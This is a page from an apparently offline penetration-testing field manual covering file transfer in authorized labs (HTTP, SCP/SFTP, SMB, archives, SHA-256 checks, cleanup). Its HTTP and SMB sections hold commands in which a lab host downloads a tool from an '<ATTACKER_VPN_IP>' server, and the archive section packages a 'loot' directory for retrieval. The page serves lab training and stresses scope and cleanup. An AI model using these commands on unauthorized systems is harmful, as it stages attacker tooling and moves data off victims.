<!doctype html><htmllang="en">
<head>
<metacharset="utf-8">
<metaname="viewport"content="width=device-width, initial-scale=1">
<metaname="color-scheme"content="light">
<metaname="theme-color"content="#faf4ed">
<metaname="description"content="HTTP, SCP and SMB file-transfer guide with integrity checks for authorized labs.">
<title>Voidwalker Field Manual // File transfer</title>
<linkrel="stylesheet"href="assets/style.css?v=2">
<scriptsrc="assets/app.js?v=2"defer></script>
</head>
<body>
<aclass="skip-link"href="#content">Skip to content</a>
<headerclass="site-header">
<divclass="header-inner">
<aclass="brand"href="index.html"><spanclass="brand-mark"aria-hidden="true">V</span><span>Voidwalker<small>offline field manual</small></span></a>
<buttonclass="nav-toggle"type="button"aria-expanded="false"aria-controls="site-nav">menu</button>
<navclass="site-nav"id="site-nav"aria-label="Handbook">
<ahref="index.html">Setup</a><ahref="tmux.html">tmux</a><ahref="pe.html">pe</a><ahref="htb-workflow.html">HTB</a><ahref="zsh-terminal.html">Shell</a><ahref="recon.html">Recon</a><ahref="web.html">Web</a><ahref="ad-windows.html">AD</a><ahref="privesc.html">PrivEsc</a><ahref="transfer.html">Transfer</a><ahref="toolbox.html">Tools</a>
</nav>
</div>
</header>
<divclass="page-shell">
<mainid="content">
<sectionclass="hero">
<pclass="eyebrow">Module 09 // controlled movement</p>
<h1>Move only what <spanclass="accent">you need.</span></h1>
<pclass="lede">Choose the smallest reliable lab channel, bind it to the intended interface, verify the artifact at both ends, and tear the channel down when the transfer is complete.</p>
<divclass="hero-meta"><spanclass="tag">HTTP</span><spanclass="tag">SCP/SFTP</span><spanclass="tag">SMB</span><spanclass="tag">SHA-256</span></div>
</section>
<divclass="notice"><div><strong>Authorized labs only.</strong> Transfer only tooling and evidence allowed by the exercise. Never expose a share to an untrusted network, move real-world data, or leave a temporary listener running after the lab.</div></div>
<divclass="search-box">
<labelfor="page-search">Filter this page</label>
<inputid="page-search"data-page-searchtype="search"placeholder="Try: HTTP, SCP, SMB, hash, cleanup…"autocomplete="off">
<spanclass="search-hint"><kbd>/</kbd> focus · <kbd>Esc</kbd> clear</span>
</div>
<pclass="filter-summary"data-filter-summaryaria-live="polite"></p>
<sectionid="prepare"data-search-itemdata-search="prepare scope route interface staging permissions channel direction filename size listener">
<h2>Prepare the channel</h2>
<pre><code>pe status
pe vpn route "$IP"
umask 077
mkdir -p transfer
chmod 700 transfer</code></pre>
<divclass="grid">
<articleclass="panel"><h3>Direction</h3><p>Decide whether the lab host pulls from you or you pull from it. Prefer the direction that requires the fewest new listeners and firewall changes.</p></article>
<articleclass="panel"><h3>Interface</h3><p>Use the VPN or explicitly authorized lab address. Bind temporary services to that address rather than every interface.</p></article>
<articleclass="panel"><h3>Artifact</h3><p>Record the expected filename, size and SHA-256 before transfer. Keep tooling separate from collected evidence.</p></article>
<articleclass="panel"><h3>Lifetime</h3><p>Start the channel immediately before use, watch its terminal, then stop it as soon as both ends verify the file.</p></article>
</div>
</section>
<sectionid="http"data-search-itemdata-search="HTTP python server curl wget PowerShell Invoke-WebRequest Linux Windows download bind port 8000">
<h2>Ephemeral HTTP</h2>
<p>HTTP is convenient for one-way lab downloads when credentials are not required. Serve only a dedicated staging directory and bind to the lab-facing address.</p>
<pre><code># workstation: serve ./transfer on the lab interface
python3 -m http.server 8000 \
--bind <ATTACKER_VPN_IP> --directory ./transfer
# Linux lab host
curl -fLO http://<ATTACKER_VPN_IP>:8000/tool
# or
wget -O tool http://<ATTACKER_VPN_IP>:8000/tool
# Windows PowerShell lab host
Invoke-WebRequest -UseBasicParsing -Uri 'http://<ATTACKER_VPN_IP>:8000/tool.exe' -OutFile "$env:TEMP\tool.exe"</code></pre>
<ulclass="checklist">
<li>Check <code>ss -ltnp</code> on the workstation and confirm the listener address before sharing the URL.</li>
<li>The Python server has no transport encryption or authentication; use it only on the isolated lab path.</li>
<li>Watch the request log, stop with <kbd>Ctrl-C</kbd>, and do not serve your home or target-root directory.</li>
</ul>
</section>
<sectionid="scp"data-search-itemdata-search="SCP SFTP SSH authenticated upload download preserve permissions remote Linux OpenSSH">
<h2>SCP and SFTP</h2>
<p>When SSH is already exposed and the supplied account is authorized, SCP/SFTP provides an authenticated channel without adding a new service.</p>
<pre><code># upload a tool to the authorized lab account
scp -p ./transfer/tool user@"$IP":/tmp/tool
# retrieve a result into the private staging directory
scp user@"$IP":/tmp/result.txt ./transfer/
# interactive, inspect-before-transfer workflow
sftp user@"$IP"</code></pre>
<divclass="notice info"><div><strong>Verify the host key.</strong> A changed key may be expected after an HTB machine reset, but compare it with the current lab context before removing any known-host entry.</div></div>
<p>Use the least-privileged destination available, avoid overwriting system files, and set executable permission only when the lab task requires it.</p>
</section>
<sectionid="smb"data-search-itemdata-search="SMB share impacket smbserver Windows copy Copy-Item smbclient anonymous temporary credentials port 445">
<h2>Temporary SMB</h2>
<p>SMB is useful for Windows-oriented labs. Share only the staging directory, bind the server to the lab address, and use short-lived credentials if the exercise supports them.</p>
<pre><code># workstation: temporary read-only lab share
SMB_SERVER=$(command -v smbserver.py || command -v impacket-smbserver)
sudo "$SMB_SERVER" -smb2support -readonly \
-ip <ATTACKER_VPN_IP> transfer ./transfer
# Windows CMD lab host
copy \\<ATTACKER_VPN_IP>\transfer\tool.exe %TEMP%\tool.exe
# Windows PowerShell lab host
Copy-Item '\\<ATTACKER_VPN_IP>\transfer\tool.exe' "$env:TEMP\tool.exe"
# Linux lab host
smbclient "//<ATTACKER_VPN_IP>/transfer" -N -c 'get tool'</code></pre>
<ulclass="checklist">
<li>Confirm TCP/445 is reachable only over the intended lab path and watch the server terminal for unexpected clients.</li>
<li>Anonymous examples are appropriate only for a short-lived isolated lab. Prefer temporary authentication where practical.</li>
<li>Stop the server with <kbd>Ctrl-C</kbd>; do not reuse lab share passwords elsewhere.</li>
</ul>
</section>
<sectionid="package"data-search-itemdata-search="archive tar gzip package directory evidence filenames permissions listing extraction">
<h2>Package multiple files</h2>
<p>Archive a known directory rather than serving a broad tree. List the archive before transfer and inspect paths again before extracting on the receiving side.</p>
<pre><code>tar --create --gzip --file transfer/evidence.tgz \
--directory loot .
tar --list --gzip --file transfer/evidence.tgz
# extract into a dedicated directory
mkdir -p received
tar --extract --gzip --file transfer/evidence.tgz \
--directory received</code></pre>
<p>Avoid archives containing absolute paths or unexpected parent-directory components. Treat collected evidence as private even when the archive itself is compressed.</p>
</section>
<sectionid="integrity"data-search-itemdata-search="integrity SHA256 checksum hash sha256sum Get-FileHash size compare sender receiver">
<h2>Verify integrity</h2>
<divclass="grid">
<articleclass="panel"><h3>Linux</h3><pre><code># sender
sha256sum transfer/tool
# receiver
sha256sum tool</code></pre></article>
<articleclass="panel"><h3>Windows PowerShell</h3><pre><code>Get-FileHash "$env:TEMP\tool.exe" -Algorithm SHA256</code></pre></article>
</div>
<p>Compare the complete digest out of band with the sender value. Also check the file size and type; a successful HTTP status or copy command does not prove the artifact is the one intended.</p>
<pre><code>wc -c < transfer/tool
file transfer/tool</code></pre>
</section>
<sectionid="troubleshoot"data-search-itemdata-search="troubleshoot route firewall listener DNS HTTP status permissions filename architecture failure">
<h2>Troubleshoot methodically</h2>
<olclass="step-list">
<li><div><h3>Route</h3><p>Confirm both endpoints and the lab interface. Re-run <code>pe vpn route</code> for the target.</p></div></li>
<li><div><h3>Listener</h3><p>Use <code>ss -ltnp</code> to verify the expected address and port, then inspect the serving terminal.</p></div></li>
<li><div><h3>Request</h3><p>Check the exact URL/share name, filename case, destination permissions and returned status.</p></div></li>
<li><div><h3>Artifact</h3><p>Verify hash, architecture and file type before assuming a transfer problem is an execution problem.</p></div></li>
</ol>
</section>
<sectionid="cleanup"data-search-itemdata-search="cleanup stop server listener temporary files clipboard credentials evidence notes hash backup">
<h2>Close the channel</h2>
<ulclass="checklist">
<li>Stop the HTTP/SMB server and confirm its port is no longer listening.</li>
<li>Remove temporary tooling from the lab host when the exercise permits and no longer needs it.</li>
<li>Move retained evidence into the target’s private tree; apply restrictive permissions.</li>
<li>Clear temporary passwords and UNC paths from the clipboard and avoid publishing transfer logs with sensitive names.</li>
<li>Record the artifact hash, source, destination and cleanup in notes, then run <code>pe backup</code>.</li>
</ul>
</section>
<pclass="empty-state"data-empty-statehidden>No file-transfer topic matches that filter. Press <kbd>Esc</kbd> to reset.</p>
<navclass="page-nav"aria-label="Adjacent pages"><ahref="privesc.html">← Privilege escalation</a><ahref="toolbox.html">Toolbox index →</a></nav>
</main>
<asideclass="toc"aria-label="On this page">
<strong>On this page</strong>
<ul><li><ahref="#prepare">Prepare</a></li><li><ahref="#http">HTTP</a></li><li><ahref="#scp">SCP/SFTP</a></li><li><ahref="#smb">SMB</a></li><li><ahref="#package">Archives</a></li><li><ahref="#integrity">Integrity</a></li><li><ahref="#troubleshoot">Troubleshoot</a></li><li><ahref="#cleanup">Cleanup</a></li></ul>
</aside>
</div>
<footerclass="site-footer"><strong>VOIDWALKER // FILE TRANSFER</strong><br>Bind narrowly · verify completely · stop promptly</footer>
</body>
</html>